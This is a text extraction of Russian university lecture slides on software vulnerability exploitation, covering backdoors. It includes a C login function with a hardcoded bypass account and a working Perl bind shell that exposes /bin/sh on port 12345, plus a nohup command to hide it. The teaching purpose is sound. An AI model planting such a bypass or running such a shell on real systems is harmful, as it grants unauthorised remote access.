Скачиваний:
8
Добавлен:
27.03.2022
Размер:
267.17 Кб
Скачать

Бэкдоры

Переборщики паролей

 

 

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ПО ЛЕКЦИЯ 0x04

Браницкий А.А.

Санкт-Петербургский государственный университет телекоммуникаций им. проф. М.А. Бонч-Бруевича

Лекция 4, Санкт-Петербург, 03 ноября 2021 г.

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

1/19

Бэкдоры

Переборщики паролей

 

 

Содержание

Бэкдоры

Переборщики паролей

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

 

Бэкдоры

Переборщики паролей

 

 

Определение бэкдора

Бэкдор изъян программы, предоставляющий несанкционированный доступ к ресурсам или данным компьютера.

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

2/19

Бэкдоры

Переборщики паролей

 

 

Свойства бэкдора

Сложно обнаруживаемый

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

3/19

Бэкдоры

Переборщики паролей

 

 

Свойства бэкдора

Сложно обнаруживаемый Повторно используемый

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

3/19

Бэкдоры

Переборщики паролей

 

 

Свойства бэкдора

Сложно обнаруживаемый

Повторно используемый Не поддающийся модификации

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

3/19

Бэкдоры

Переборщики паролей

 

 

Свойства бэкдора

Сложно обнаруживаемый

Повторно используемый

Не поддающийся модификации Сложно воспроизводимый

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

3/19

Бэкдоры

Переборщики паролей

 

 

Пример бэкдора

void authorize(const char *login, const char *passwd)

{

u_char access = 0;

if (strcmp(login, "abracadabra") == 0) access = 1;

else if (check(login, passwd) == 1) access = 1;

if (access == 0)

fprintf(stderr, "Access is closed\n"); else

{

... // Предоставление доступа к ресурсам машины

... // для корректно авторизованных пользователей

}

}

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

4/19

Бэкдоры

Переборщики паролей

Пример бэкдора

 

 

void authorize(const char *login,

 

 

const char *passwd)

 

{

бэкдор

 

u_char access = 0;

 

 

 

if (strcmp(login, "abracadabra") == 0)

 

 

access = 1;

 

 

else if (check(login, passwd) == 1)

 

 

access = 1;

 

 

if (access == 0)

 

 

fprintf(stderr, "Access is closed\n");

 

 

else

 

{

 

... // Предоставление доступа к ресурсам машины

... // для корректно авторизованных пользователей

}

}

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

4/19

Бэкдоры

 

Переборщики паролей

Сетевой bind-бэкдор remote_shell.pl

1 # !/ usr / bin / perl

-w

2 use

strict ;

 

3 use

Socket ;

 

4 use

POSIX ;

 

5 my

( $port , $address ) = (12345 , ' 0.0.0.0 ');

6 my

$socket ;

 

7 socket ( $socket ,

PF_INET , SOCK_STREAM ,

8( getprotobyname ( ' tcp ' ))[2]);

9 bind ( $socket , pack_sockaddr_in ( $port ,

10

inet_aton ( $address )));

11 listen ( $socket ,

1024);

12 my $in_socket ;

13 accept ( $in_socket , $socket ); 14 dup2 ( fileno ( $in_socket ), 0); 15 dup2 ( fileno ( $in_socket ), 1); 16 dup2 ( fileno ( $in_socket ), 2);

17exec ("/ bin / sh " );

#Start the script as nohup perl remote_shell.pl &>/dev/null &

Браницкий А.А., СПбГУТ

Лекция 4, Санкт-Петербург, 2021

5/19

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения